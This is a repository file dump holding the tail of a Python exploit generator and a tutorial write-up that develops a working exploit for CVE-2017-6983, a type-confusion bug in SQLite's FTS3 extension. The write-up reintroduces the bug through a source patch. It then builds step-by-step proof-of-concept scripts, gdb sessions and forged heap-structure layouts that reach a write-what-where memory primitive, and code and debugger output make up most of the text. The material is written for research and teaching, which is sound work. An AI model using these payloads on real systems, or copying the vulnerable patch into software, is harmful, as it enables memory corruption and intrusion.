300 | offset_Vdbe_pFree = 0x108
301 | raddr_Vdbe_pFree = raddr_Vdbe + offset_Vdbe_pFree
302 | pFree_val = 0
303 | exp = writeVal(exp, raddr_Vdbe_pFree, pFree_val)
304 |
305 | # Vdbe.aOp = 0 (line 85588 @ sqlite3VdbeClearObject)
306 | offset_Vdbe_aOp = 0x88
307 | raddr_Vdbe_aOp = raddr_Vdbe + offset_Vdbe_aOp
308 | aOp_val = 0
309 | exp = writeVal(exp, raddr_Vdbe_aOp, aOp_val)
310 |
311 | # Vdbe.nOp = 0 (line 85588 @ sqlite3VdbeClearObject)
312 | offset_Vdbe_nOp = 0x90
313 | raddr_Vdbe_nOp = raddr_Vdbe + offset_Vdbe_nOp
314 | nOp_val = 0
315 | exp = writeVal(exp, raddr_Vdbe_nOp, nOp_val, 4)
316 |
317 | # Vdbe.zSql = 0 (line 85589 @ sqlite3VdbeClearObject)
318 | offset_Vdbe_zSql = 0x100
319 | raddr_Vdbe_zSql = raddr_Vdbe + offset_Vdbe_zSql
320 | zSql_val = 0
321 | exp = writeVal(exp, raddr_Vdbe_zSql, zSql_val)
322 |
323 | # malicious_metadata = 0 (due to malloc_usable_size)
324 | malicious_metadata_val = 0
325 | exp = writeVal(exp, raddr_malicious_metadata, malicious_metadata_val)
326 |
327 | # malicious_content = Your-bad-value
328 | if bad_val != None:
329 | exp = writeVal(exp, raddr_malicious_content, bad_val)
330 | if bad_str != None:
331 | exp = writeStr(exp, raddr_malicious_content, bad_str)
332 |
333 | with open('/tmp/exp', 'w') as f:
334 | f.write("create table t1(c1 char);\n")
335 | f.write("insert into t1 values(x'" + exp + "');\n")
336 | f.write("create virtual table a using fts3(b);\n")
337 | f.write("insert into a values(x'" + valToStr(base, 8) + "');\n")
338 | f.write("select optimize(b) from a;\n")
339 | f.write("select sqlite_version();\n")
340 |
--------------------------------------------------------------------------------
/SQLite/cve-2017-6983.md:
--------------------------------------------------------------------------------
1 | # CVE-2017-6983 Explained
2 |
3 | CVE-2017-6983 is a type-confusion vulnerability in SQLite that enables an attacker to gain an arbitrary memory-write primitive. This bug has been exploited in various attack scenarios due to SQLite's widespread integration across software platforms, including in MacOS system components. A detailed technical analysis and real-world exploitation of this vulnerability were presented at Black Hat USA 2017:
4 |
5 | * *Many Birds, One Stone: Exploiting a Single SQLite Vulnerability Across Multiple Software*. ([Video](https://www.youtube.com/watch?v=Kqv8S1BQYwE&ab_channel=BlackHat)) ([Slides p39-p60](https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many-Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across-Multiple-Software.pdf))
6 |
7 | In this blog, I go beyond the initial crash to develop a fully working exploit based on this bug (without ASLR bypass).
8 |
9 |
10 | # Source Code
11 |
12 | To begin analyzing or experimenting with CVE-2017-6983, you will need a specific version of the SQLite source code. The following steps show how to retrieve and build SQLite version 3.40.1, which maps to commit `1fdaa9d1a7`.
13 |
14 | ```bash
15 | $ git clone https://github.com/sqlite/sqlite.git
16 | $ cd sqlite
17 | $ git checkout version-3.40.1 # commit 1fdaa9d1a7
18 | ```
19 |
20 | Next, compile the source code to generate the `sqlite3.c` and `shell.c` files. These are essential for debugging and investigations.
21 |
22 | ```bash
23 | $ CC="clang -DSQLITE_DEBUG" ./configure --enable-debug
24 | $ make
25 | $ ls -l sqlite3.c shell.c
26 | ```
27 |
28 | > **Note**: The `-DSQLITE_DEBUG` flag enables internal assertions and debugging helpers, which can be used for identified misuse of internal SQLite APIs.
29 |
30 | > **Why version 3.40.1?** Although CVE-2017-6983 was disclosed in 2017, I chose version 3.40.1 (released in 2022) for this analysis because it was the latest version at the time of my investigation.
31 |
32 |
33 | # Reintroducing the Vulnerability
34 |
35 | SQLite version 3.40.1 has already patched CVE-2017-6983. However, for demonstration and research purposes, we manually reintroduce the bug by modifying the source code. The following patch restores the vulnerable behavior inside the `fts3FunctionArg` function.
36 |
37 | > **Warning**: This patch reintroduces a serious memory corruption bug. You should never apply this patch to any production or non-isolated environment. It is intended for testing and educational use in a controlled setting.
38 |
39 |
40 | ```c
41 | // sqlite3.c
42 |
43 | static int fts3FunctionArg(
44 | sqlite3_context *pContext, /* SQL function call context */
45 | const char *zFunc, /* Function name */
46 | sqlite3_value *pVal, /* argv[0] passed to function */
47 | Fts3Cursor **ppCsr /* OUT: Store cursor handle here */
48 | ){
49 | int rc;
50 | /* Insert Vuln */
51 | + Fts3Cursor *pRet;
52 | + memcpy(&pRet, sqlite3_value_blob(pVal), sizeof(Fts3Cursor *));
53 | + *ppCsr = pRet;
54 | - *ppCsr = (Fts3Cursor*)sqlite3_value_pointer(pVal, "fts3cursor");
55 | if( (*ppCsr)!=0 ){
56 | rc = SQLITE_OK;
57 | }else{
58 | char *zErr = sqlite3_mprintf("illegal first argument to %s", zFunc);
59 | sqlite3_result_error(pContext, zErr, -1);
60 | sqlite3_free(zErr);
61 | rc = SQLITE_ERROR;
62 | }
63 | return rc;
64 | }
65 | ```
66 |
67 | Once this modification is in place, recompile SQLite.
68 |
69 | ```bash
70 | $ make
71 | ```
72 |
73 | > **What does this patch do?** The safe version users `sqlite3_value_pointer()` to safely retrieve a typed pointe with a tag ("fts3cursor"). By replacing it with `sqlite3_value_blob()` and `memcpy()`, we remove the type safety and allow arbitrary pointer casting, which reintroduces the type confusion vulnerability that enables an attacker-controlled pointer to be passed into internal SQLite structure.
74 |
75 |
76 | # Nice Feature: Virtual Table
77 |
78 | SQLite is originally designed to manage traditional SQL tables, which are structured collections of rows and columns. However, to expand its usability, SQLite introduces a powerful feature called **virtual tables**, which allow developers to interface with non-tabular data (such as files or documents) using familiar SQL syntax.
79 |
80 | A virtual table, as the name suggests, is not a real SQL table. Instead, it is an abstraction provided by a user-defined SQL extension that handles custom data backend. When creating a virtual table, we need to specify the underlying extension module that implements its behavior. For example, **FTS3** is an extension that enables full-text search (FTS) over unstructured text data. When we issue SQL commands like `CREATE`, `INSERT` or `SELECT` on a virtual table, SQLite defers execution to callback functions provided by the related extension, which bypasses its usual SQL storage and processing layers.
81 |
82 | So far, so good.
83 |
84 | But here is where things get interesting.
85 |
86 | When we insert data into a virtual table, it often gets stored in the form of a `BLOB` (binary large object). The BLOB data itself is opaque to SQLite since it is simply stores raw binary data. The extension knows how to interpret this data because it defines its own internal structure. When inserting, the extension serializes its expected structure into a BLOB. When selecting from the table, it deserializes the BLOB based on that same structure.
87 |
88 | Now imagine this: what happens if an attacker forges a BLOB and tricks the extension into loading it?
89 |
90 | Simple but dangerous. The extension blindly trusts the BLOB and interprets its content based on its internal layout. If the layout expects a pointer at offset X, it will read the value at that offset and treat it as a real pointer, even if it was crafted by the attacker.
91 |
92 | This is exactly the root of CVE-2017-6983.
93 |
94 | This vulnerability arises when an attacker-controlled BLOB is misinterpreted by the extension, resulting in type confusion and potentially leading to arbitrary memory writes or reads.
95 |
96 | So far, too good, for attackers unfortunately.
97 |
98 |
99 | # PoC0: Control a Pointer
100 |
101 | This proof of concept (PoC) demonstrates how an attacker can control a pointer passed to an internal FTS3 function by exploiting the type confusion vulnerability.
102 |
103 | ```sql
104 | create virtual table a using fts3(b);
105 | insert into a values(x'aabbccdd');
106 | select optimize(b) from a;
107 | ```
108 |
109 | Step-by-step breakdown:
110 |
111 | 1. Create a virtual table `a` using the FTS3 extension with a single column `b`.
112 |
113 | 2. Insert a raw 4-byte BLOB `x'aabbccdd'`, which will be misinterpreted as a pointer in `fts3FunctionArg()`.
114 |
115 | 3. Trigger the vulnerability. The `select optimize(b) from a` statement calls the `optimize` function with the column value `b` as its argument. Because `b` is a BLOB and the patched type tag check was removed, the extension treats the raw data `0xddccbbaa` (big endian) as a valid `Fts3Cursor` pointer.
116 |
117 | As a result, the extension dereferences an attacker-controlled pointer, leading to a segmentation fault (or worse, arbitrary memory access). Run this PoC with the modified (vulnerable) SQLite binary.
118 |
119 | ```bash
120 | # save the above SQL as /tmp/exp0
121 | $ ./sqlite < /tmp/exp0
122 | Segmentation fault (core dumped)
123 | ```
124 |
125 | > **Note**: The crash confirms that the function `optimize()` is dereferencing the forged pointer (`0xddccbbaa`), validating the type confusion vulnerability.
126 |
127 | Let's confirm the crash and inspect what is happening behind the scenes using GDB.
128 |
129 | ```bash
130 | $ gdb ./sqlite3
131 | (gdb) r < /tmp/exp0
132 | Program received signal SIGSEGV, Segmentation fault.
133 | 0x00000000005b3d4a in fts3OptimizeFunc (pContext=0x664e80, nVal=1, apVal=0x664eb0) at sqlite3.c:182454
134 | ```
135 |
136 | We immediately hit a segmentation fault in `fts3OpitmizeFunc`. Let's check what the extension thought `pCursor` is.
137 |
138 | ```bash
139 | 182454 p = (Fts3Table *)pCursor->base.pVtab;
140 | (gdb) p pCursor
141 | $1 = (Fts3Cursor *) 0xddccbbaa
142 | ```
143 |
144 | As expected, the value `0xddccbbaa` is exactly the BLOB we insert. The value is blindly interpreted as a pointer by the vulnerable `fts3FunctionArg()` function.
145 |
146 | To better understand the call flow and crash location, let’s inspect the stack trace:
147 |
148 | ```bash
149 | (gdb) bt
150 | #0 0x00000000005b3d4a in fts3OptimizeFunc (pContext=0x664e80, nVal=1, apVal=0x664eb0) at sqlite3.c:182454
151 | #1 0x00000000004b34ae in sqlite3VdbeExec (p=0x662a20) at sqlite3.c:98127
152 | #2 0x00000000004549ed in sqlite3Step (p=0x662a20) at sqlite3.c:88072
153 | #3 0x000000000044c267 in sqlite3_step (pStmt=0x662a20) at sqlite3.c:88133
154 | #4 0x000000000043e63e in exec_prepared_stmt (pArg=0x7fffffffcf68, pStmt=0x662a20) at shell.c:18074
155 | #5 0x0000000000418677 in shell_exec (pArg=0x7fffffffcf68, zSql=0x64f430 "select optimize(b) from a;", pzErrMsg=0x7fffffffcd50) at shell.c:18390
156 | #6 0x00000000004428ff in runOneSqlLine (p=0x7fffffffcf68, zSql=0x64f430 "select optimize(b) from a;", in=0x7ffff7c1aaa0 <_IO_2_1_stdin_>, startline=4) at shell.c:25400
157 | #7 0x000000000041934d in process_input (p=0x7fffffffcf68) at shell.c:25564
158 | #8 0x000000000040b9df in main (argc=1, argv=0x7fffffffe308) at shell.c:26419
159 | ```
160 |
161 | And here is the code around the crashing instruction.
162 |
163 | ```bash
164 | (gdb) l
165 | 182449
166 | 182450 UNUSED_PARAMETER(nVal);
167 | 182451
168 | 182452 assert( nVal==1 );
169 | 182453 if( fts3FunctionArg(pContext, "optimize", apVal[0], &pCursor) ) return;
170 | 182454 p = (Fts3Table *)pCursor->base.pVtab;
171 | 182455 assert( p );
172 | 182456
173 | 182457 rc = sqlite3Fts3Optimize(p);
174 | 182458
175 | ```
176 |
177 | The cash occurs at line 182454 of sqlite3.c, where the following instruction attempts to dereference a structure field:
178 |
179 | ```c
180 | 182454 p = (Fts3Table *)pCursor->base.pVtab;
181 | ```
182 |
183 | The line immediately above it calls `fts3FunctionArg()`.
184 |
185 | ```c
186 | 182453 if( fts3FunctionArg(pContext, "optimize", apVal[0], &pCursor) ) return;
187 | ```
188 |
189 | As shown in the [Reintroducing the Vulnerability](#reintroducing-the-vulnerability) section, this function is where we manually patch the code to reintroduce the type confusion bug. Specifically, we replace a type-safe pointer cast (`sqlite3_value_pointer`) with a raw memory read (`sqlite3_value_blob` + `memcpy`).
190 |
191 | Without diving too deeply into SQLite internals, it is reasonable to infer that function `fts3OpitmizeFunc` is the handler function responsible for processing the SQL call to `optimize`. Since we pass `b` as the argument in our `select` query, the extension retrieves the value of column `b` through `fts3FunctionArg`, and uses it as an `Fts3Cursor *` in function `fts3OptimizeFunc`.
192 |
193 | * In the vulnerable version (after our patch), SQLite uses `sqlite3_value_blob` to obtain raw bytes, and uses `memcpy` to cast them to a `Fts3Cursor *`, trusting the BLOB's contents. It only checks that the input has BLOB type.
194 |
195 | * In the safe version, SQLite uses `sqlite3_value_pointer` to extract a pointer, which verifies that the value is originally stored as a tagged pointer of the expected type.
196 |
197 | Anyway, in the vulnerable build, we (acting as the attacker) have full control over the `pCursor` pointer inside `fts3optimizeFunc`. Starting from this function, we will turn the bug into an arbitrary-write primitive.
198 |
199 | # PoC1: Control Everything
200 |
201 | Controlling a single pointer is not enough to fully exploit this vulnerability. In this step, we aim to control not just `pCursor`, but also the memory it points to, and any pointers or values further dereferenced from it.
202 |
203 | We notice that `pCursor` is used in the following code, like line `182454`, to retrieve a pointer `p` from `pCursor`-pointed memory content. To control `p`, we need to make `pCursor` pointing to some location that is completely under our control. The idea is to inject more malicious content into SQLite memory space, and make `pCursor` and following pointers pointing to this malicious content.
204 |
205 | We make use of the SQL query to achieve the malicious content injection. Particularly, we want to inject a lot of BLOB data into another table.
206 |
207 | ```sql
208 | create table t1(c1 char);
209 | insert into t1 values(x'very-long-malicious-blob-data');
210 |
211 | create virtual table a using fts3(b);
212 | insert into a values(x'aabbccdd');
213 | select optimize(b) from a;
214 | ```
215 |
216 | The SQL query above shows our idea. Before triggering the bug (the bottom half), we first insert a large malicious blob data into another table. Then, we search this malicious block data from SQLite memory to identify its address. We will use its address for `pCursor`. Since this data is very long and may contain non-printable character, we use a python script to generate this poc automatically.
217 |
218 | ```py
219 | #!/usr/bin/env python3
220 |
221 | import os
222 | import sys
223 |
224 | with open('/tmp/exp', 'w') as f:
225 | f.write("create table t1(c1 char);\n")
226 | f.write("insert into t1 values(x'" + exp + "');\n")
227 | f.write("create virtual table a using fts3(b);\n")
228 | f.write("insert into a values(x'" + valToStr(base, 8) + "');\n")
229 | f.write("select optimize(b) from a;\n")
230 | ```
231 |
232 | * `exp` is the long, malicious blob data, to be determined (TBD)
233 | * `base` is the address of this blob data in memory, TBD
234 | * `valToStr` is a function that translate an integer into big-endian string representation
235 |
236 | Here is the implementation of `valtoStr`
237 |
238 | ```py
239 | def valToStr(value, length):
240 | b = '{num:0{width}X}'.format(num=value, width=length * 2)
241 | c = "".join(reversed([b[i:i+2] for i in range(0, len(b), 2)]))
242 | return c
243 | ```
244 |
245 | At the beginning, we just set `exp` to a large benign content and set `base` to an arbitrary value.
246 |
247 | ```py
248 | exp = valToStr(0xdeadbeef, 8) + "0" * 0x800 * 2
249 | base = 0xaabbccdd
250 | ```
251 |
252 | Combing everything together, and run the script
253 |
254 | ```bash
255 | # say the script is poc.py
256 | $ python3 ./poc.py # --> this will produce /tmp/exp file
257 | $ gdb ./sqlite3
258 | (gdb) b fts3OptimizeFunc
259 | (gdb) r < /tmp/exp
260 | ...
261 | Breakpoint 1, fts3OptimizeFunc (pContext=0x664700, nVal=0x1, apVal=0x664730) at sqlite3.c:182452
262 | 182452 assert( nVal==1 );
263 | ```
264 |
265 | At this moment, we are going to invoke the vulnerable function. Here we will search where is the BLOB content provided in `exp`. Since we use `0xdeadbeef` as the starting value, we will search for this value within the SQLite memory space. To simplify this search, we switch to [gdb-peda](https://github.com/longld/peda) tool, which is a customized GDB plugin providing a set of facilities. To install it, just simply follow the instruction on its GitHub repository.
266 |
267 | ```bash
268 | git clone https://github.com/longld/peda.git ~/peda
269 | echo "source ~/peda/peda.py" >> ~/.gdbinit
270 | echo "DONE! debug your program with gdb and enjoy"
271 | ```
272 |
273 | After this simple installation, we already have `gdb-peda` installed.
274 |
275 |
276 | ```bash
277 | $ gdb ./sqlite
278 | gdb-peda $ # <--- if get this prompt, it means gdb-peda is ready
279 | ```
280 |
281 | To make the reading easier, I will use `(gdb-peda)` as the prompt. Let's continue our exploration.
282 |
283 | ```bash
284 | $ gdb ./sqlite3
285 | (gdb-peda) b fts3OptimizeFunc
286 | (gdb-peda) r < /tmp/exp
287 | Breakpoint 1, fts3OptimizeFunc (pContext=0x664700, nVal=0x1, apVal=0x664730) at sqlite3.c:182452
288 | 182452 assert( nVal==1 );
289 | (gdb-peda) searchmem 0xdeadbeef
290 | Searching for '0xdeadbeef' in: None ranges
291 | Found 1 results, display max 1 items:
292 | [heap] : 0x667ad8 --> 0xdeadbeef
293 | (gdb-peda) x/100bx 0x667ad8
294 | 0x667ad8: 0xef 0xbe 0xad 0xde 0x00 0x00 0x00 0x00
295 | 0x667ae0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
296 | ```
297 |
298 | We can see that the SQLite process only contains one copy of this data, which starts from address `0x667ad8`. We should replace `base` with this value.
299 |
300 |
301 | ```py
302 | exp = valToStr(0xdeadbeef, 8) + "0" * 0x800 * 2
303 | base = 0x667ad8
304 | ```
305 |
306 | Run again
307 |
308 | ```bash
309 | $ python3 ./poc.py
310 | $ gdb ./sqlite3
311 | (gdb-peda) b sqlite3.c:182454
312 | Breakpoint 1 at 0x5b3d46: file sqlite3.c, line 182454.
313 | (gdb-peda) r < /tmp/exp
314 | Breakpoint 1, fts3OptimizeFunc (pContext=0x664700, nVal=0x1, apVal=0x664730) at sqlite3.c:182454
315 | 182454 p = (Fts3Table *)pCursor->base.pVtab;
316 | (gdb-peda) p pCursor
317 | $1 = (Fts3Cursor *) 0x667ad8
318 | (gdb-peda) x/100bx pCursor
319 | 0x667ad8: 0xef 0xbe 0xad 0xde 0x00 0x00 0x00 0x00
320 | 0x667ae0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
321 | 0x667ae8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
322 | 0x667af0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
323 | 0x667af8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
324 | 0x667b00: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
325 | 0x667b08: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
326 | 0x667b10: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
327 | 0x667b18: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
328 | 0x667b20: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
329 | 0x667b28: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
330 | 0x667b30: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
331 | 0x667b38: 0x00 0x00 0x00 0x00
332 | ```
333 |
334 | OK, great. Now `pCurosr` is pointing to the long, malicious BLOB content. We can change `exp` as we want to control any variable dereferenced from `pCursor`.
335 |
336 | Define another two python functions to help update `exp` to whatever we want. The complete PoC1 is as follows.
337 |
338 | ```py
339 | #!/usr/bin/env python3
340 |
341 | import os
342 | import sys
343 |
344 | def valToStr(value, length):
345 | b = '{num:0{width}X}'.format(num=value, width=length * 2)
346 | c = "".join(reversed([b[i:i+2] for i in range(0, len(b), 2)]))
347 | return c
348 |
349 | def writeStr(exp, off, string):
350 | exp = list(exp)
351 | string = list(string)
352 | for i in range(0, len(string)):
353 | exp[off + i] = string[i]
354 | return ''.join(exp)
355 |
356 | def writeVal(exp, off, value, length):
357 | # value = hex(value)
358 | # print(value)
359 | return writeStr(exp, off * 2, valToStr(value, length))
360 |
361 | exp = valToStr(0xdeadbeef, 8) + "0" * 0x800 * 2
362 | base = 0x667ad8
363 |
364 | #############################################################
365 | # TODO: update exp properly to change the malicious content #
366 | #############################################################
367 |
368 | with open('/tmp/exp', 'w') as f:
369 | f.write("create table t1(c1 char);\n")
370 | f.write("insert into t1 values(x'" + exp + "');\n")
371 | f.write("create virtual table a using fts3(b);\n")
372 | f.write("insert into a values(x'" + valToStr(base, 8) + "');\n")
373 | f.write("select optimize(b) from a;\n")
374 | ```
375 |
376 | # PoC2: write-what-where
377 |
378 | Next, our goal is to achieve a primitive that allows us to write arbitrary value into arbitrary location, known as [write-what-where](https://cwe.mitre.org/data/definitions/123.html).
379 |
380 | ### 1. sqlite3Fts3Optimize
381 |
382 | What we have done is to make `pCursor` pointing to our malicious blob data. SQLite will treat the pointed memory as an `Fts3Cursor` object.
383 |
384 | ```txt
385 | #############################################################
386 | # Fts3Cursor (0x80)
387 | #############################################################
388 | ```
389 |
390 | The size of this object `sizeof(Fts3Cursor)` is 0x80. We can get this size via `p sizeof(Fts3Cursor)` within `gdb-peda`.
391 |
392 | ```bash
393 | (gdb-peda) p sizeof(Fts3Cursor)
394 | 0x80
395 | ```
396 |
397 | SQLite is going to execute the following lines.
398 |
399 | ```c
400 | 182454 p = (Fts3Table *)pCursor->base.pVtab;
401 | 182455 assert( p );
402 | 182456
403 | 182457 rc = sqlite3Fts3Optimize(p);
404 | ```
405 |
406 | Within `Fts3Cursor`, `base.pVtab` is at offset 0. We can obtain this offset via `gdb-peda`
407 |
408 | ```bash
409 | (gdb-peda) p &((Fts3Cursor *)0)->base.pVtab
410 | $2 = (sqlite3_vtab **) 0x0
411 | ```
412 |
413 | Therefore, to control `p` (which is `pCursor->base.pVtab`), we need to update `exp` so that at its offset 0 the value is a pointer. We want to make this point `base + sizeof(Fts3Cursor)` so their memory content will not be overlapped.
414 |
415 | ```py
416 | # sizeof types
417 | Fts3Cursor_size = 0x80
418 |
419 | # offset_type_member -> offset of member within type
420 |
421 | # raddr -> address relative to base
422 | # -> offset relattive to exp
423 | raddr_Fts3Cursor = 0
424 |
425 | # set pVtab -> &Fts3Table -> p
426 | offset_Fts3Cursor_pVtab = 0
427 | p_value = base + raddr_Fts3Table
428 | exp = writeVal(exp, raddr_Fts3Cursor + offset_Fts3Cursor_pVtab, p_value, 8)
429 | ```
430 |
431 | After this update, we have the following memory layout.
432 |
433 | ```txt
434 | #############################################################
435 | # Fts3Cursor (0x80)
436 | # + Fts3Table (0x220)
437 | #############################################################
438 | + Fts3Cursor.base.pVtable = &Fts3Table
439 | ```
440 |
441 | ### 2. sqlite3Fts3Optimize > sqlite3Fts3Optimize
442 |
443 | The execution will go into `sqlite3Fts3Optimize`.
444 |
445 | ```c
446 | 194701 ** Flush any data in the pending-terms hash table to disk. If successful,
447 | 194702 ** merge all segments in the database (including the new segment, if
448 | 194703 ** there was any data to flush) into a single segment.
449 | 194704 */
450 | 194705 SQLITE_PRIVATE int sqlite3Fts3Optimize(Fts3Table *p){
451 | 194706 int rc;
452 | 194707 rc = sqlite3_exec(p->db, "SAVEPOINT fts3", 0, 0, 0);
453 | 194708 if( rc==SQLITE_OK ){
454 | 194709 rc = fts3DoOptimize(p, 1);
455 | 194710 if( rc==SQLITE_OK || rc==SQLITE_DONE ){
456 | 194711 int rc2 = sqlite3_exec(p->db, "RELEASE fts3", 0, 0, 0);
457 | 194712 if( rc2!=SQLITE_OK ) rc = rc2;
458 | 194713 }else{
459 | 194714 sqlite3_exec(p->db, "ROLLBACK TO fts3", 0, 0, 0);
460 | 194715 sqlite3_exec(p->db, "RELEASE fts3", 0, 0, 0);
461 | 194716 }
462 | 194717 }
463 | 194718 sqlite3Fts3SegmentsClose(p);
464 | 194719 return rc;
465 | 194720 }
466 | ```
467 |
468 | Line `194707` invokes `sqlite3_exec`, which invokes `sqlite3SafetyCheckOk`. To simplify the attack, we set `p->db` to `0`, which forces `sqlite3SafetyCheckOk` returning 0, and in turn forces `sqlite3_exec` returns `^SQLITE_OK`.
469 |
470 | ```txt
471 | sqlite3Fts3Optimize
472 | +-> sqlite3_exec
473 | +-> sqlite3SafetyCheckOk
474 | <-+ 0
475 | <-+ SQLITE_MISUSE_BKPT (not SQLITE_OK)
476 | +-> sqlite3Fts3SegmentsClose
477 | ```
478 |
479 | Here we use this simple layout to represent what we need to achieve.
480 |
481 | ```txt
482 | #############################################################
483 | # Fts3Cursor (0x80)
484 | # Fts3Table (0x220)
485 | #############################################################
486 | Fts3Cursor.base.pVtable = &Fts3Table
487 | + Fts3Table.db = 0
488 | ```
489 |
490 | ### 3. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose
491 |
492 |
493 | The execution now goes into `sqlite3Fts3SegmentsClose`.
494 |
495 | ```c
496 | 190157 /*
497 | 190158 ** Close the blob handle at p->pSegments, if it is open. See comments above
498 | 190159 ** the sqlite3Fts3ReadBlock() function for details.
499 | 190160 */
500 | 190161 SQLITE_PRIVATE void sqlite3Fts3SegmentsClose(Fts3Table *p){
501 | 190162 sqlite3_blob_close(p->pSegments);
502 | 190163 p->pSegments = 0;
503 | 190164 }
504 | ```
505 |
506 | This function is very simple, which just passes `p->pSegments` into function `sqlite3_blob_close`. What we need to do is to set `p->pSegments` to next available space after `Fts3Table`, which will be treated as an `Incrblob` object.
507 |
508 |
509 | ```txt
510 | #############################################################
511 | # Fts3Cursor (0x80)
512 | # Fts3Table (0x220)
513 | # + Incrblob (0x38)
514 | #############################################################
515 | Fts3Cursor.base.pVtable = &Fts3Table
516 | Fts3Table.db = 0
517 | + Fts3Table.pSegments = &Incrblob
518 | ```
519 |
520 | ### 4. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close
521 |
522 | The execution goes into `sqlite3_blob_close`.
523 |
524 | ```c
525 | 98920 /*
526 | 98921 ** Close a blob handle that was previously created using
527 | 98922 ** sqlite3_blob_open().
528 | 98923 */
529 | 98924 SQLITE_API int sqlite3_blob_close(sqlite3_blob *pBlob){
530 | 98925 Incrblob *p = (Incrblob *)pBlob;
531 | 98926 int rc;
532 | 98927 sqlite3 *db;
533 | 98928
534 | 98929 if( p ){
535 | 98930 sqlite3_stmt *pStmt = p->pStmt;
536 | 98931 db = p->db;
537 | 98932 sqlite3_mutex_enter(db->mutex);
538 | 98933 sqlite3DbFree(db, p);
539 | 98934 sqlite3_mutex_leave(db->mutex);
540 | 98935 rc = sqlite3_finalize(pStmt);
541 | 98936 }else{
542 | 98937 rc = SQLITE_OK;
543 | 98938 }
544 | 98939 return rc;
545 | 98940 }
546 | ```
547 |
548 | Next, we update `p->db`, which is used as a `sqlite3` pointer.
549 |
550 | ```txt
551 | #########################################################################
552 | # Fts3Cursor (0x80)
553 | # Fts3Table (0x220)
554 | # Incrblob (0x38)
555 | # + sqlite3 (0x308)
556 | #########################################################################
557 | Fts3Cursor.base.pVtable = &Fts3Table
558 | Fts3Table.db = 0
559 | Fts3Table.pSegments = &Incrblob
560 | + Incrblob.db = &sqlite3
561 | ```
562 |
563 | We need to update this `sqlite3` structure to make sure `mutex` is 0
564 |
565 | ```txt
566 | #########################################################################
567 | # Fts3Cursor (0x80)
568 | # Fts3Table (0x220)
569 | # Incrblob (0x38)
570 | # sqlite3 (0x308)
571 | #########################################################################
572 | Fts3Cursor.base.pVtable = &Fts3Table
573 | Fts3Table.db = 0
574 | Fts3Table.pSegments = &Incrblob
575 | Incrblob.db = &sqlite3
576 | + sqlite3.mutex = 0
577 | ```
578 |
579 | ### 5. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3DbFree
580 |
581 | This `sqlite3` structure is also used within `sqlite3DbFree` function as the first argument `db`. At the same time, the second argument is the `Incrblob` structure. We track into this function to find more constraint.
582 |
583 | ```c
584 | 29433 SQLITE_PRIVATE void sqlite3DbFree(sqlite3 *db, void *p){
585 | 29434 assert( db==0 || sqlite3_mutex_held(db->mutex) );
586 | 29435 if( p ) sqlite3DbFreeNN(db, p);
587 | 29436 }
588 | ```
589 |
590 | * `db==0` is always `False`.
591 |
592 | * `sqlite3_mutex_held(db->mutex)` should be `True`.
593 |
594 | * `p` is not `0`
595 |
596 | ### 6. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3DbFree > sqlite3DbFreeNN
597 |
598 | So the execution will enter `sqlite3DbFreeNN` with the same arguments.
599 |
600 | ```c
601 | 29357 SQLITE_PRIVATE void sqlite3DbFreeNN(sqlite3 *db, void *p){
602 | 29360 if( db ){
603 | 29361 if( ((uptr)p)<(uptr)(db->lookaside.pEnd) ){
604 | ... ...
605 | 29384 }
606 | 29385 if( db->pnBytesFreed ){
607 | 29386 measureAllocationSize(db, p);
608 | 29387 return;
609 | 29388 }
610 | 29389 }
611 | ... ...
612 | 29395 }
613 | ```
614 |
615 | Here are want to make sure
616 |
617 | 1. `plookaside.pEnd` is `False`
618 | 2. `db->pnBytesFreed` is a valid integer-pointer.
619 |
620 | So we add the following updates.
621 |
622 | ```txt
623 | #########################################################################
624 | # Fts3Cursor (0x80)
625 | # Fts3Table (0x220)
626 | # Incrblob (0x38)
627 | # sqlite3 (0x308)
628 | # + nBytesFreed (0x4)
629 | #########################################################################
630 | Fts3Cursor.base.pVtable = &Fts3Table
631 | Fts3Table.db = 0
632 | Fts3Table.pSegments = &Incrblob
633 | Incrblob.db = &sqlite3
634 | sqlite3.mutex = 0
635 | + sqlite3.lookaside.pEnd = 0
636 | + sqlite3.pnBytesFreed = &nBytesFreed
637 | ```
638 |
639 | ### 7. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3DbFree > sqlite3DbFreeNN > measureAllocationSize
640 |
641 | Now the execution enters `measureAllocationSize`
642 |
643 | ```c
644 | 29344 /*
645 | 29345 ** Add the size of memory allocation "p" to the count in
646 | 29346 ** *db->pnBytesFreed.
647 | 29347 */
648 | 29348 static SQLITE_NOINLINE void measureAllocationSize(sqlite3 *db, void *p){
649 | 29349 *db->pnBytesFreed += sqlite3DbMallocSize(db,p);
650 | 29350 }
651 | ```
652 |
653 | #### Interesting Question: Can we turn this operation into an arbitrary write primitive?
654 |
655 | > It turns out to be possible. A arbitrary write primitive requires to both address and value
656 | >
657 | > `*address = value;`
658 | >
659 | > address = db->pnBytesFreed
660 | >
661 | > + completely under our control
662 | > + no side effect
663 | > - can only overwrite 4-byte
664 | >
665 | > value = malloc_useable_size(p)
666 | >
667 | > + can be controlled (need to update memory content before `p`
668 | > - usually `& ~0x7`, which means the last 3 bits are out of control
669 | >
670 | > In summary, it is possible. However, it may require significant consideration due to the limitations (-) above.
671 |
